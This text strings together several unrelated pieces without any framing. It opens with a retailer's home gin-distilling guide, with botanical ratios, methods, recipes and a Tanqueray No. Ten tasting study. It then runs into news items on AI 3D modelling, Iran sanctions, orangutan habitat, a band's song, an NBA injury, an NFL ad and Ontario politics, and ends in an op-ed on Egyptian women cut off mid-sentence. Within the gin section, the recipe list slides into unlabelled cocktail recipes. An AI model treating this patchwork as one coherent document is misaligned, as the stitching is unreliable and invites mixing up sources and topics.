Gin Recipes Using Botanicals Guide Not all Botanicals are readily available so this is where your imagination comes in. The total number of botanicals used is about 20-35 grams/litre. If we take the dominant botanical juniper as 'x', the proportions of the botanicals used is: x = juniperx half = corianderx is one tenth = angelica, cassia, cinnamon, liquorice, bitter almonds, grains of paradise, cubeb berriesx is one hundredth = bitter & sweet orange peel, lemon peel, ginger, Orris root, cardamom, nutmeg, savory, calamus, chamomile, fennel, aniseed, cumin, violet root. If we use x = 20g then x half = 10g, x is one 10 = 2g x is one hundredth 100 = 0.2g (200mg) Some current gins do not have a pronounced juniper character as they are used for cocktails and are more of a flavoured vodka - for this type of gin for 'x' use equal quantities for juniper & coriander (i.e. x = 20g composed of 10g of juniper & 10g of coriander) The botanicals are macerated in 40%abv neutral alcohol (usually for 24 hours), redistilled and then diluted to 45% - 40% abv which is an optimal strength for holding the flavour of the botanicals. Plymouth Gin also comes in a 57% abv 'Navy Strength'. Bombay Sapphire Gin uses a Carterhead Still which contains a botanicals basket through which the vapour passes, a technique which gives a lighter flavour. All gins include juniper and coriander as an ingredient along with other botanicals. Typically, a fine gin contains 6-10 botanicals, although the Dutch Damask Gin has 17, and the French Citadelle Gin has 19 - but this could be more for marketing reasons and has been criticized for lacking direction. Some American gins mention chamomile as a botanical which would give a blue tinge to the gin. Method 1 To make basic Gin, you can add the following into the boiler of your still. For Approx. 10 litres (we always recommend experimenting with a smaller amount and when you are happy you can scale up)- The neutral alcohol needs to be diluted back to 40 to 50% ABV (alcohol by volume) - 200 to 250 gm Juniper berries- 100g coriander- 27g angelica, cassia, liquorice, grains of paradise, cubeb, 50g orange and lemon peel, ginger, orris root, cardamom, nutmeg 5g. Distill one more time as it will extract the flavours from the botanicals. Once distilled, dilute it back to 40% and let it rest for about 2-3 weeks. The resting period allows the different flavours to "marry" and will improve the flavour balance. Some prefer to put the herbs into the bags and maceration in the alcohol, by leaving it up to a week before distillation, but that is a personal choice. Method 2 We can take the botanicals and place them in a basket above the wash inside the still. This needs to be positioned underneath the column so that when the still gets up to temperature and the alcohol vapours start to come off finding their way up into the still column or head they will have gone through the botanicals that are suspended. They will pick up the flavours and the distillate will taste of them. We can then dilute down to strength of the Gin we want. Still Spirits have introduced a mess basket that does this on the air still. It’s quite a clever little piece of equipment. With the T500 its necessary to create your own although I am sure there will be something launched to do this shortly. Method 3 Place botanicals in the wash so that they pick up the flavours during fermentation. You will need it to be a strong flavour or you will find that when you come to distil you will lose quite many these flavours. Method 4 You can use any combination of Method 1 Method 2 Method 3 and Method 5. There are no rules only what you wish to do. Every distillery has its secret mix of botanicals. Most Gins contain next to Juniper berry and citrus botanicals such as lemon and bitter orange peel, anise, angelica root and seed, orris root, liquorice root, cinnamon, cubeb, savoury, lime peel, grapefruit peel, dragon eye, saffron, baobab, frankincense, coriander, nutmeg and cassia bark. Please feel free to try method one but we must say Method 5 below is a much more popular and easy way to do it. Method 5 Weigh out your botanicals as per suggestions below (or make up your own) Pour the botanicals (minus any particularly punchy ones) into a clean sterile bottle (sterilise with our steriliser) Top with your home-made vodka at 40 to 45% Leave for 24hrs to infuse. Give it a couple of stirs during this time. Have a taste, it should be starting to taste all juniper and gin - hurrah! Add any remaining botanicals to the mix, or if there’s a flavour you want more of, add a bit more of that botanical! Leave too steep for a further 12-24hrs (you might be happy with what you have so this might not be necessary) agitating the mixture at least once Taste, and once you are happy (longer does not mean better, beware of over infusing) use a sieve to filter out the botanicals If there is still sediment you can use a kitchen roll, coffee filter, muslin or cheese cloth to filter again Leave to sit for a couple of days. Re-filter out any sediment that settles. Run through a filter if you want to, with further filtration etc. as necessary. Bottle your gin and design a great label for it. The problem we now have is the Gin will have picked up the colours of the Botanicals. This is therefore sometimes known as Bath House Gin. If we are wanting to solve this problem, we must do like all the commercial Gin producers would do and that is re distil the Gin. All we need do is take this gin and add it to our still (you can add some water to it if you feel it’s too little to add to the still). When we redistill the Gin will come out lovely and clear and at a much stronger strength. This will then be diluted back down to 40 to 45%ABV (depending on the strength we want). Remember we are going to lose some of the flavour in the re-distillation so when it goes back into the still it must be quite a strong taste. Bottle our gin and design a great label for it. Note: if you've left it a little too long and the gin is too strongly flavoured, you can always dilute with more vodka, unless you’ve left it for weeks and it’s stewed like tea! almond - sweet angelica seed - musky and hoppy cardamom - spicy cassia bark - bitter and cinnamon cinnamon - sweet and woody (use sparingly) ginger root - dry and hot spice (careful it’s powerful!) grapefruit - clean citrus nutmeg - warming sweet spice cubeb berries - spicy peppery pine rose petals - floral You can also add things like lavender, chamomile, rose, rosemary, sage, whatever you like, it’s your gin! You can use either dried or fresh citrus peel. Fresh will give brighter citrus notes than dried, but shouldn’t be left to infuse for too long, so you might want to add this nearer to the end of your infusion. Also, if you’re using a bottle for infusing make sure the pieces will easily go through the neck once they’ve swelled a little in the bottle. Keep a chopstick handy too for getting them out! We use a jug as its easier to deal with afterwards. All these apply to the recipes below its up to you there are no rules. Here are some other recipes which you might like to try. These have been taken from a collection of people some are in grams and some in spoon measurement. We make no comment on these. Everything is added to 750ml Bottle of 40%ABV Vodka (some recommend a slightly stronger strength) Recipe 1 3 tablespoons juniper berries 1.1/2 tablespoon green cardamom pods 3 teaspoons coriander seeds 2 teaspoon dried lemongrass 3 strips orange peel (try to avoid any white pith as it’s very bitter) cinnamon stick 1.1/2 stick liquorice root (or cubes) Recipe 2 20 to 25gm juniper berries 8 to 10gm coriander seed 3gm angelica root 1 to 2gm liquorice powder (root) 2 gm Orris root 2 gm orange peel 2gm lemon peel Recipe 3 20 gm dried juniper berries (about ¼ cup) 8 gm whole coriander, crushed (about 2 tbsp.) 2 gm dried orange peel (about 1½ tsp.) 2 gm dried lemon peel (about 1 tsp.) 3 gm whole cinnamon (about 1 stick) 1 whole cardamom pod, crushed Use a mortar and pestle - or a food processor pulsed in five one-second increments - to break up the coriander and cardamom before adding them to the other dry ingredients. Recipe 4 2 tbsp juniper berries (more if you like juniper-forward gin) 1/4 tsp fennel seeds 1/4 tsp whole allspice 3/4 tsp coriander seeds 4 cardamom pods 2 peppercorns 1 torn bay leaf A small sprig of lavender A larger sprig of rosemary A small piece of dried grapefruit peel (no pith) A small piece of dried lemon peel (no pith) Recipe 5 2 tbsp juniper berries 1 tsp coriander seeds Peels of 2 grapefruits Peel of 1 lemon Peel of 1 orange 4 cloves .5 tsp angelica root .25 tsp cassia bark .25 tsp fennel seeds 750 ml Vodka 2 tablespoons juniper berries 1 teaspoon coriander seed 4 allspice berries 1/4 teaspoon fennel seed 3 green cardamom pods 3 black peppercorns 1 bay leaf 1 long orange peel Recipe 6 Juniper - About 2 Spoonful’s Whole Coriander - Heaping 1/4 tsp Rosemary - Heaping 1/4 tsp Lavender Flowers - Heaping 1/4 tsp Rose Hips - 2 Allspice Berries - 2 Fennel Seed - 1/8 tsp Pulverized Dried Lemon Peel - 1/8 tsp Tellicherry Black Peppercorns - 2 Bay Leaf - 1 Green Cardamom Pods - 3 Recipe 7 Add 2 1/2 tablespoons of juniper berries. Let sit for 12 hours. 1/8 tsp fennel seed four black peppercorns 1/4 tsp allspice berries 3/4 tsp coriander seeds 1/8 tsp grains of paradise (I added these, you might want to skip) 3/4 tsp fresh orange zest (original calls for 1 tsp) 3/4 tsp lemon zest (original calls for 1/2 tsp) one sprig rosemary Let sit for another 12 hours. Strain through a fine mesh, and if you can manage, back into its bottle. 7g Juniper berries 3.5g Coriander seed 0.25g Cassia 0.3g Liquorice root 0.2g Orris root powder 0.2g Angelica root 0.5g Mixed citrus peel (fresh & grated) 0.2g Frankincense 0.1g Myrrh 0.2g Cardamom We used mixed citrus (grapefruit, orange, and lime) because, by some stroke of coincidence, we had no lemons in the house. The Frankincense and Myrrh are there because we were curious about what taste they would impart and had this strange idea about putting some gold flakes in it and giving it as Christmas presents, with the label “Nativity Gin”. For some reason, upon weighing, we doubled the quantity of Orris and Angelica we had planned on using. Recipe 8 Neutral spirit 1 litre (as above) Juniper berries 44.1 g Coriander 6.3 g Bitter orange peel 1/4 tsp Dried liquorice root 1/4 tsp Star anise 1/4 tsp Cinnamon stick 1/4 tsp Zest of sweet orange 1/8 tsp Zest of lemon 1/4 tsp Zest of lime 1/2 tsp Clove 1/4 tsp Rosemary leaves pinch 1 bunch basil 1/2 lemon 2/3 oz simple syrup 3 oz gin Stuff the basil into a cocktail shaker, followed by the lemon. Muddle the lemon and the basil, smashing the ingredients and squeezing the lemon. Add simple syrup, mix. Fill shaker with ice, top with gin. Shake vigorously until very cold — about 30 or so seconds. A good rule of thumb is to stop when the shaker begins to frost over and it’s almost too painfully cold to hold. Double-strain into a rocks glass filled with ice, squeezing every bit if liquid through a fine mesh strainer with a bar spoon. Give the glass a stir and add more ice if necessary. Garnish with another basil leaf. 2 oz gin 5 oz tonic water 1 lime wedge Pour the gin and the tonic water into a highball glass almost filled with ice cubes. Stir well and garnish with the lime wedge. Case Study (we strongly recommend you buy a bottle of both so you can see exactly where we are going on this). We thought you might be interested in why certain Gin like Tanqueray No. Ten (47.3% ABV ) are so special and it will give you something to strive for in your pursuit of the perfect Gin. In 2000, on the heels of releasing Tanqueray Malacca Gin, Tanqueray released Tanqueray No. Ten Gin. Both releases were aimed at a new movement in gin, loosely referred to as New Western Style Gin, that shifted the focus slightly away from juniper to spotlight what other botanicals in gin can bring to the mix. Part of this movement came as a reaction to a new generation of drinkers who had grown up with a distaste for the strong juniper in gin, and another was as a response to the incubatory phase of the now explosive craft cocktail revolution. Tanqueray No. Ten Gin gets its name from being made in Tanqueray’s number ten still, also affectionately referred to as “Tiny Ten”. This small still was used as an experimental/trial run still at the distillery before becoming the key still for Tanqueray 10. There is a misconception that Tanqueray 10 gets its name from the number of botanicals in the mix; in fact, the recipe for Tanqueray 10 has all four of the base botanicals from Tanqueray London Dry: juniper, coriander, angelica, and liquorice. Tanqueray 10 adds an additional four elements to the mix, including fresh white grapefruit, fresh lime, fresh orange, and camomile flowers for a total of 8 botanicals. One of the things which makes Tanqueray 10 unique is that it uses fresh whole citrus rather than dried citrus peels. Dried peels are used for most gins on the market and very few actually use fresh fruit. The nose of Tanqueray 10 reflects the abundance of fresh fruit, and while juniper is still a lead note, it’s joined by lime and grapefruit which act like co-stars in the equation. Under the citrus are some of the same botanicals as with Tanqueray London Dry Gin including coriander, black pepper, and angelica root. Ultimately, it’s the lime that seems to be most persistent in the glass. That lime is also the star of the entry which combines fresh lime and fresh grapefruit along with juniper and angelica root. The angelica root is as pronounced at the entry as the juniper, giving the entry a slightly nutty, rooty, spicy quality. This root spice combined with the piney juniper become the core of the mid palate, which has a much warmer spice quality to it than Tanqueray London Dry Gin. It’s here where the influence of the camomile flowers is most apparent with a slightly bitter floral spice which combines with the coriander, liquorice, and a black pepper note from the juniper. Tanqueray 10 Gin has the same subtle sweet note from the grain in the mid palate, which lends a sweet quality to the citrus as well as makes the angelica root come off more sweet and warm than earthy, the finish is long and spicy with juniper, black pepper, and lime lingering on the palate. With strong citrus aromatics and a core of warm spice, Tanqueray 10 is suited to a very different range of cocktails than the traditional Tanqueray London Dry Gin. While Tanqueray London Dry Gin is the go-to gin for a gin and tonic, Tanqueray 10 works much better in cocktails like the Aviation, the Southside, and the Gin Rickey. With its fresh citrus core, Tanqueray Ten is often our gin of choice in citrus-focused cocktails, and it’s considered by many to be one of the best gins for the martini. Tanqueray London Dry Gin and Tanqueray No. Ten Gin share many key elements of style, but they are unique spirits. Tanqueray London Dry Gin is all about how just a few botanicals can come together around juniper to make a complex and flavourful gin, while Tanqueray No. Ten Gin is about presenting a wider palate of flavours to build on for cocktails. The difference between Tanqueray London Dry Gin and Tanqueray 10 is like the difference between a wrench and pliers - they both can perform similar tasks, but they are ultimately different tools. Producing top quality spirits and liqueurs with the Still Spirits range of products is so easy anyone can do it, whether you already have experience of making wine or beer, or are completely new to the hobby. If you're thinking of starting making your own spirits, take a look at the cost of producing spirits & liqueurs page, as you will be blown away by just how much you can save by making your own spirits & liqueurs! |
Scientists, including one of Indian origin, have developed a new artificial intelligence software that can create 3D models from two dimensional photographs, an advance that could allow future robots to navigate in the real world. Advertising When fully developed, the method called SurfNet could have significant applications in the fields of 3D searches on the internet researchers said. “The “magical” capability of AI deep learning is that it is able to learn abstractly,” said Karthik Ramani, professor at Purdue University in the US. “If you show it hundreds of thousands of shapes of something such as a car, if you then show it a 2D image of a car, it can reconstruct that model in 3D,” Ramani said. “It can even take two 2D images and create a 3D shape between the two, which we call ‘hallucination’,” he said. Perhaps most exciting, however, is that the technique could be used to create 3D content for virtual reality and augmented reality by simply using standard 2D photos. “You can imagine a movie camera that is taking pictures in 2D, but in the virtual reality world everything is appearing magically in 3D,” Ramani said. Advertising “Inch-by-inch we are going there, and in the next five years something like this is going to happen,” he said. One significant outcome of the research would be for robotics, object recognition and even self-driving cars in the future. They would only need to be fitted with standard 2D cameras, yet still have the ability to understand the 3D environment around them. |
As the Obama administration ramps up the sanctions pressure on Iran to accept meaningful curbs on its nuclear program, it is following a strategy of coercive diplomacy that has a fundamental design flaw. Consequently, President Obama is in danger of achieving the opposite of his intention: Iran may well decide that rather than negotiate a compromise, its best choice is actually to cross the nuclear weapons threshold, with fateful consequences for all. Obama’s premise is that only by bringing the Iranian regime to its knees, through sanctions on its central bank and concerted efforts to reduce its oil exports, will it give up on its nuclear-weapons aspirations. The fact that Iran’s supreme leader, Ayatollah Ali Khamenei, has now himself labeled the sanctions “crippling,” and that Iran’s nuclear negotiators announced last week that they were ready to come back to the table, have been taken as evidence that the president’s strategy is working. That judgment is at best premature, at worst wishful thinking. Iran has not slowed its production of enriched uranium. On the contrary, the regime announced earlier this month it was building an additional enrichment plant with more efficient centrifuges. Nor has it cooperated with International Atomic Energy Agency inspectors, who wrongly assumed that the announcement of a decision to come back to the table would result in a greater Iranian willingness to address their concerns. Defenders of the current strategy will explain Iran’s continued defiance as a necessary prelude to concessions. More likely, what we are seeing are the reflexive reactions of a regime that believes its back is to the wall. The worst thing the Iranian supreme leader could do in such circumstances is show weakness, especially if he fears that his internal opposition could exploit it to challenge his regime from within. Advertisement Continue reading the main story And if he looks around his neighborhood he can see evidence that submitting his nuclear program to international controls could invite military intervention to topple him. That’s what happened to both Saddam Hussein and Col. Muammar el-Qaddafi. On the other hand, the North Korean leadership’s defiant determination to develop nuclear weapons seems to have protected it from intervention. |
Washington, DC-- Bornean orangutans living in forests impacted by human commerce seek areas of denser canopy enclosure, taller trees, and sections with trees of uniform height, according to new research from Carnegie's Andrew Davies and Greg Asner published by Proceedings of the National Academy of Sciences. Bornean orangutans are critically endangered, and despite intense conservation efforts, their numbers continue to decline. Additional habitat management strategies that account for their presence in forests affected by logging and other human activity are needed to ensure the species' survival. That's why Davies and Asner, along with key partners in Malaysia, set out to determine which human-impacted forest areas are most-crucial to preventing orangutan extinction. Their research focused in the Lower Kinabatangan region of Sabah, Malaysia, on the island of Borneo. It consists of forest patches that have been highly degraded by timber extraction, which are sewn into a landscape of palm oil plantations and human settlements. Davies and Asner employed the Carnegie Airborne Observatory's Light Detection and Ranging (LiDAR) sensor, which uses reflected laser light to image vegetation in 3-D, and combined it with three years of highly detailed field observations of orangutans by co-authors Marc Ancrenaz and Felicity Oram. "Our combination of field and airborne data on orangutans and their habitat was key to understanding how they move through and use disturbed forests in Borneo," said first author Davies, a postdoc at Carnegie's Department of Global Ecology. "Similar approaches will be needed to determine the minimum habitat requirements of other endangered species in human-modified landscapes." They found that orangutans preferentially selected certain canopy attributes within forests that had been disturbed or fragmented by human activity. This means that some human-impacted forest segments are more important than others for orangutan conservation. Because of orangutans' size, they require strong branches to move laterally through the forest canopy. They can descend and cross large canopy gaps on the ground, but this wastes energy and exposes them to predators. This could explain their observed preference for enclosed canopy, tall trees, and areas with uniform tree height in the human-disturbed forests studied by the team. The researchers had anticipated that areas with a great deal of vertical complexity would be preferentially selected to assist the orangutans with climbing up and down trees. But this proved not to be the case, as lateral movement appeared to be a greater need for the orangutans, based on the scientists' observations. "In the course of a year, we took the CAO aircraft and team to northern Borneo, mapped its habitats in 3-D, combined the data with Marc's orangutan observations, and made a critically important scientific discovery that directly bears on the conservation of one of the world's most iconic ape species," said Asner, the project's leader. Like many large vertebrates, orangutans play a particularly critical role in maintaining healthy ecosystem function. That's why it is so important that they be protected from the effects of human activity on the forests where they live. "Considering that most of the critically endangered orangutan's habitat is disturbed by human activities, understanding the habitat elements required to ensure orangutan survival in degraded forests is key for their long-term survival," added Marc Ancrenaz of HUTAN/Borneo Futures, a core project partner. The results of this orangutan study contribute to a larger Bornean biodiversity mapping mission co-led by Carnegie and the South East Asia Rainforest Research Partnership (SEARRP). The research group, along with government and NGO partners in Sabah, are in the process of generating a portfolio of ecological maps, ranging from forest carbon stocks to plant and animal biodiversity. The forthcoming maps have been hailed as key input to an upcoming decision by the Sabah Forestry Department about what area should next be designated as protected. "This orangutan study is another critical piece of information we are assembling to support the Sabah government to determine where to save the most species in this super-biodiverse region of the world," Asner added. ### This study was supported by grants from the UN Development Programme, Avatar Alliance Foundation, Roundtable on Sustainable Palm Oil (RSPO), World Wildlife Fund, the Morgan Family Foundation, and the Rainforest Trust. HUTAN-KOCP's long-term supporters are: Arcus Foundation; zoos of Zooparc de Beauval, la Palmyre, Chester, Woodland Park, Houston, Cleveland, Columbus, Phoenix, Saint Louis, Basel, Apenheul, Hogle, Oregon Metroparks, AZA Great Ape TAG, Australian Project, Synchronicity Earth, USFW, World Land Trust, Waterloo Foundation and other partners. The Carnegie Airborne Observatory is currently supported by the Avatar Alliance Foundation, the John D. and Catherine T. MacArthur Foundation, the David and Lucile Packard Foundation, and William R. Hearst III. The Carnegie Institution for Science (carnegiescience.edu) is a private, nonprofit organization headquartered in Washington, D.C., with six research departments throughout the U.S. Since its founding in 1902, the Carnegie Institution has been a pioneering force in basic scientific research. Carnegie scientists are leaders in plant biology, developmental biology, astronomy, materials science, global ecology, and Earth and planetary science. |
Song Premiere: Le Butcherettes, 'Shave The Pride' Enlarge this image Monica Lozano/Courtesy of the artist Monica Lozano/Courtesy of the artist Teri Gender Bender, founder and lead singer of garage punk outfit Le Butcherettes, has one of the best stares in showbiz. As demonstrated in her supremely memorable Tiny Desk Concert, Gender Bender (Teresa Suárez by birth) makes direct and unblinking eye contact with individual audience members and the camera, confronting and reversing the viewer/performer dynamic. Confrontation is a cornerstone of the Guadalajara band's identity and appeal, and is the guiding principle of "Shave The Pride," off Le Butcherettes' forthcoming album A Raw Youth. Describing the song, Gender Bender says she originally wrote a diatribe against a bearded lover hiding behind "masses of hair," but after rewrites, "the outrage and frustration are this time directed in particular to Society's 'beard.' The beard symbolizes our unwillingess to view all perceptions of [a] story ... hiding behind the mass media." The lyrics of "Shave The Pride" are abstract, but its tone of pent-up frustration and explosive energy is unmistakable. Drums by Chris Common and bass by Jamie Aaron Aux match Gender Bender's singing and guitar in velocity and power, though her voice provides most of the song's nuance. Her combination of force and keen observation is reminiscent of Corin Tucker at her best, though Gender Bender's performance is all her own. In the staring contest between Le Butcherettes and society/that bearded lover, there can clearly be just one victor. A Raw Youth is out September 18 on Ipecac Recordings. Le Butcherettes are on tour with The Melvins now. LANGUAGE ADVISORY: This song contains adult terminology. |
OAKLAND, Calif. -- Chicago Bulls head coach Tom Thibodeau said Thursday it's "unlikely" point guard Derrick Rose will make his season debut Friday night against the Golden State Warriors, but Thibodeau did acknowledge that he likes the way Rose continues to progress from a torn left ACL. "We'll see (Friday)," Thibodeau said after practice when asked if there was a chance Rose could play. "With him it's just day to day. He had a good day today, he went hard, did a lot of stuff. But we'll see." Rose, who had ACL surgery on May 12, is listed as "out" on the official game notes on the Bulls' website. Thibodeau was asked if the decision as to whether Rose plays is as simple as the 24-year-old coming up to the coach and saying he's ready to go. "We'll have a better idea as we move along," Thibodeau said. "The big thing is his improvement and then how he feels the next day. "As long as he continues to make progress. We went pretty hard today, so we'll see where he is (Friday)." Given all the hoopla and scrutiny regarding Rose's possible return, Thibodeau was pressed on how his comments might be interpreted optimistically by fans who have been yearning to see Rose play all season. That's when the veteran coach went back to his usual routine. "(His situation) hasn't changed," Thibodeau said. "(His return) could be in a couple days. It could be in a week. I don't know when it is. He doesn't know when it is. "I think he was very forthcoming with (the media) and that's where he is. He's got to feel real comfortable. He's got to feel that the explosion is there. He's made great progress and we don't know when that time is. I think we'll have a better idea the more we see him go. Today, he was good, but it doesn't mean that he's playing (Friday). It doesn't mean he won't play (Friday). We just have to keep being patient, let him work through it. Each day he feels a little better and that's all we're worried about. He's controlled everything he can control, he puts everything he has into each and every day and then when he's ready he'll let us know." Rose, who has discussed the possibility he won't return this season, told reporters on Tuesday that he's doing everything on the court, but he just needs to get his confidence back. "I think I can do everything; it's just me having the confidence to do it," Rose said earlier this week. "Just me feeling normal." |
The NFL has banned a commercial from playing during the Super Bowl because of its pro-gun tone. The advertisement, submitted by the gun manufacturer Daniel Defense, doesn’t even directly feature any firearms, but talks about defending oneself inside the home. UPDATE: CEO of Gun Manufacturer Speaks Out After NFL Bans Super Bowl Ad In the ad, a young father looks over his infant daughter as he says, “My family’s safety is my highest priority. I am responsible for their protection. And no one has the right to tell me how to defend them. So, I’ve chosen the most effective tool for the job.” A statement from Fox reads, “Unfortunately, we cannot accept your commercial in football/Super Bowl spots due to the rules the NFL itself has set into place for your company’s category.” ObamaCare Excludes Couple’s Baby From Health Plan Illinois High School Requires Students to Submit to Random Alcohol Tests |
Bright sun streams through the second-floor, south-facing window of Kathleen Wynne’s Queen’s Park office, and on this freezing weekday morning it feels like the warmest place in Toronto. The Premier of Ontario confirms that she was out before the sun was up for her morning run, despite the cold. “It’s not so bad when it’s not that windy,” she says. Ms. Wynne runs a lot. Most mornings, even while travelling, and in a Liberal Party television ad that shows her trudging up a switchback in Dufferin County. She’s also still running from the legacy of Dalton McGuinty, who left office under the cloud of the gas-plant scandal and having alienated the party’s one-time union allies. Coming up on the one-year anniversary of her election as party leader, Ms. Wynne has kept just enough distance between herself and her predecessor to remain at the head of a minority government. But the Premier is by all appearances also running out of time. Just before the provincial legislature rose for its winter break, Ms. Wynne received a report from a panel she appointed that recommends options for raising $2-billion a year from taxpayers to fund transit expansion and other infrastructure. She has vowed to move forward with some version of that plan in the spring budget, which will almost certainly act as a poison pill. The opposition Progressive Conservatives and leader Tim Hudak have been trying to defeat the government for what seems like forever, while Andrea Horwath’s NDP, which has propped the Liberals up through two budgets, has for months said a transit plan funded by new taxes and fees is a non-starter. Premier Kathleen Wynne’s running ad Ms. Wynne insists the transit report, itself the product of a panel that was reviewing the work of an earlier panel, will not be punted again. “We’re going to carry on,” the Premier says, sitting in an armchair across the office from her large wooden desk. “My hope is the opposition will see that it’s critical that we have a revenue stream,” she says. “I know that Tim Hudak has said that he has a plan, I don’t know how exactly he would fund his plan, but Andrea Horwath doesn’t have a plan at all.” Ms. Wynne says she still believes one of the two parties might buy into her transit strategy. “But if they don’t, we’ve said all along that we’re ready. Whether it’s on this issue or whether it’s on the broader issues that are part of the budget, we are ready for a general election.” And so, Ontario moves toward a crossroads. The province has been governed by the Liberals for more than a decade, with Mr. McGuinty twice coming from behind to win elections he was expected to lose. Mr. Hudak, who lost the last of those campaigns, has spent much of his time since lamenting the Liberal management of the economy, which even under rosy government forecasts is not scheduled to climb out of deficit until 2017-18, or three years after the federal government is expected to do the same. But while the Liberals and PCs would have been expected to do battle on the campaign trail over the economy and persistent deficits, the coming campaign may be fought over different issues entirely. Mr. Hudak’s party has released a series of white papers that promote fundamental policy shifts across all levels of government. Though the PCs aren’t expected to include all of them in an election platform, the leader has made labour reform, or rewriting the law that allows unions to make membership mandatory, one of his consistent targets. He told a Toronto business audience this month that his plan, which he calls modernizing labour laws and union leaders call an attempt to destroy their organizations, was an important part of stemming the manufacturing job losses that in the past few weeks alone have seen companies such as Heinz and Kellogg announce plans to relocate work from southwestern Ontario to the United States. A floor above Ms. Wynne’s office at Queen’s Park, Mr. Hudak says he is aware that picking a fight with organized labour in the province is risky. “I get the advice almost on a daily basis that I should just stay out of the way, let the government defeat itself and walk into the Premier’s office,” he says. “But I am going to need a mandate to bring the kind of change that’s required to the province.” This is pretty much the opposite of what Mr. Hudak tried in 2011, when he ran against Mr. McGuinty without saying a lot about what he would do differently. The unions went after him anyway. This time around, no one would be under any illusions, which might have the effect of driving labour supporters back to the Liberal camp. (The austerity measures brought in under Mr. McGuinty had unions literally protesting in the street against the Liberals.) A battle over labour laws could also have the effect of distracting the electorate from the economy, which should be fertile ground for the PCs, who have been arguing for months that the Liberals can’t control spending enough to wrestle the deficit down. Rising hydro prices, the continuing fallout over the $1-billion dollar gas-plant scandal, an audit that pointed to wildly excessive compensation at the public power generator and those manufacturing closures point to plenty of ammunition for a party keen to attack the Liberals over fiscal mismanagement. There’s also the fact that the Liberals this fall for the first time acknowledged that the target date of their long-term deficit-reduction plan is not as rigid as once thought. Ontario PC party’s version of Kathleen Wynne’s running ad In our year-end interview (which came before the ice storm and its aftermath), Ms. Wynne repeated the theme of the Fall Economic Statement, telling the National Post that while she expects to remain on target to balance the budget by 2017-18, if economic conditions are such that “those interim targets are going to be difficult for us to hit as we make investments that are going to make the economy grow, we are not going to stay on course.” “I really believe we have the capacity to reach that long-term target,” the Premier said. “The interim targets? We’ll see.” Of course, “investments that make the economy grow” could in theory be, well, anything. And given that Ms. Wynne is already planning for a multi-billion-dollar transit spend, and has indicated her party is prepared to spend billions more on a public-pension plan after the federal government said it wanted to hold off on expanding CPP, it’s a reasonable assumption that the forecasts of the 2014 budget will look nothing like the forecasts of the one delivered in 2013. The government was already facing major challenges on the spending side, where according to its own targets it was going to have to reduce total program spending in the years between 2015 and 2018. Not hold the line on spending, and certainly not keep it in line with inflation: actually spend fewer discretionary dollars in 2018 than it will spend in 2015. That is a huge undertaking. And it’s entirely possible that the Wynne government has decided not to undertake it. Big new programs like a 20-year transit plan and a public-pension scheme would muddy the budget waters enough that earlier forecasts would no longer be comparable. Move the target date for a balanced budget out a year or two, add in some optimistic growth forecasts, and the Liberals could present a roadmap that makes for good campaign material. The Premier insists that spending goals have not been abandoned. “We’ve said we do not have money in the budget to fund increases, so there are going to be difficult discussions about tradeoffs within the [spending] envelopes,” she said. “But we’re still in a period of constraint, it’s very important that people understand that. We’re going to have to continue [make changes] in all of our ministries that allow us to keep services, but reduce costs.” But will that be enough? When economist Don Drummond headed the commission on public services that produced what became known as the Drummond Report in 2012, it considered the possibility of extending the target date to return to balance by a year or two. “We examined this option, but found that it offers little relief from the need for severe spending curbs,” the report says. “The minor additional flexibility on spending does not outweigh the risk of slipping out of fiscal control.” Search all the statements of Ms. Wynne and her Finance Minister, Charles Sousa, meanwhile, and you will find no references to severe spending cuts, no matter the target break-even date. Both instead have been training their focus of late on Ottawa, which they say is shortchanging the province. It’s not about winning the keys to the Premier’s office. It’s about turning the economy around “I just want to say that it’s really important to me to work collaboratively with the federal government,” Ms. Wynne said in her office. “So far there doesn’t seem to be a willing partner.” Again, it’s a message that seems road-tested for the campaign trail. Mr. Hudak, for his part, says the Liberals have had more than enough time to prove they can improve the provincial economy, and they have come up wanting. He says he will enter the new year still pushing his party’s policy proposals, even though they will draw fire from opponents. “It’s not about winning the keys to the Premier’s office. It’s about turning the economy around,” he says. “I want to prove to [voters] that I’m the alternative.” The smart money says he will soon have that chance. Ontario PC attack ad National Post • Email: sstinson@nationalpost.com | Twitter: scott_stinson |
In 1799, the French artist Vivant Denon, accompanying a team of scientists traveling to Egypt with Napoleon (who excused his invasion with the logic that he was bringing democracy to the Arabs) was touring some ancient sites along the upper Nile when he came across an 8-year-old girl in severe pain. Writing in his journal, Denon noted that, "a cut, inflicted with equal brutality and cruelty, has deprived her of the means of satisfying the most pressing want, and occasioned the most horrible convulsions." Denon was referring of course, to female genital mutilation. The Frenchman quickly pulled out a knife and performed a counter-operation, by which he "was able to save the life of this unfortunate little creature." On another occasion, Denon (who went on to become the first director of the Louvre) encountered a bleeding, recently blinded woman carrying an infant in the desert outside Alexandria. She was begging for food and water. As the French stopped to offer aid, a man galloped up, claiming to be her husband, and demanded that they leave her alone. "'She has lost her honor,'" the man shouted, according to Denon. "She has wounded mine, this child is my shame, it is the son of guilt!" The horrified French artist watched as the man then drew a dagger, stabbed the women and hurled the infant to the ground, killing it as well. Denon asked his Egyptian guides whether the man was not liable under the law for murder, and was informed that the man was within his rights, although the actual murder was frowned upon, and that after 40 days of wandering, the woman would have been eligible for charitable services. The French in 1800 were among the first westerners to visit and write about the lives of modern Arabs in Egypt. Besides the great pyramids, what struck them most forcibly was the abominable treatment of women. And while the archaeological treasure has been studied and secured, two hundred years later, unfortunately, much remains the same with respect to women's rights. Ninety percent of Egyptian women are genitally mutilated, according to aid worker estimates. Although the practice was officially outlawed in 2007, gynecologists can still legally perform it "for health reasons." Egyptian women can vote; they are significant part of the workforce and there were women in the recently disbanded Egyptian cabinet. But Egyptian women are not allowed to travel abroad without the permission of their husbands; they have difficulty initiating divorce; and they can't become judges. As Egyptians rise up to demonstrate for their civil rights, the world watches with bated breath, wondering what man (for surely it will be a man) will succeed Mubarak, and whether he will be moderate -- that is "friendly to Israel and Western ideas and mores" or a fundamentalist, a member of the Muslim Brotherhood, whose strict interpretation of the Koran and anti-Western political and cultural bias would turn the delicate global balance upside down. What no one is talking about, though, is how deeply dangerous this time is for Egyptian women. The influence of extreme Islam has been growing there in recent years, so that for a bare-headed female to walk the streets of Cairo, even the tourist areas near the Egyptian Museum where I worked on my book about the French in Egypt in 2004, is to invite menacing looks, and muttered obscenities from men on the street. Whatever happens in Egypt, there's an elephant in the room, and it's pink. Despite the years of discussion around our "War on Terror," we have not focused on the fact that misogyny is a fundamental pillar on which radical Islam is based. Freedom of women is what the Al Qaeda jihadis, as much as the Muslim Brothers in Egypt, most revile about the West. Women living in these parts of the world are severely discriminated against in ways that would be considered human 